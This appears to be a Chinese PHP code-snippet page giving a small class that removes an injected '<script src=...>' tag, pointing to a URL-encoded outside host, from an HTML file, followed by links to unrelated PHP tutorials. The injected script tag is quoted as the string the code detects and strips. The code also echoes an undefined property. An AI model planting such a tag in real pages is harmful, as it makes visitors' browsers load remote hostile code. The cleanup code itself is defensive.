php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php打印输出棋盘的实现方法

本文实例讲述了php打印输出棋盘的两种实现方法。分享给大家供大家参考。具体实现方法如下: 例子1,代码如下: 复制代码 代码如下:<?php /**  * 隔...

PHP实现简单实用的分页类代码

PHP实现简单实用的分页类代码

本文实例讲述了PHP实现简单实用的分页类。分享给大家供大家参考,具体如下: <?php class Page { private $total; //...

php cli模式学习(PHP命令行模式)

php cli模式学习(PHP命令行模式)

php_cli模式简介 php-cli是php Command Line Interface的简称,如同它名字的意思,就是php在命令行运行的接口,区别于在Web服务器上运行的php环境...

Cygwin中安装PHP方法步骤

1.在Cygwin中安装apt-cyg包管理工具 复制代码 代码如下: $ wget http://apt-cyg.googlecode.com/svn/trunk/apt-cyg $...

PHP+Javascript实现在线拍照功能实例

本文实例讲述了PHP+Javascript实现在线拍照功能。分享给大家供大家参考。具体如下: 我们在一些WEB应用中可能会遇到这样的情况,用户需要自己现场拍照并上传到会员系统。比如驾校采...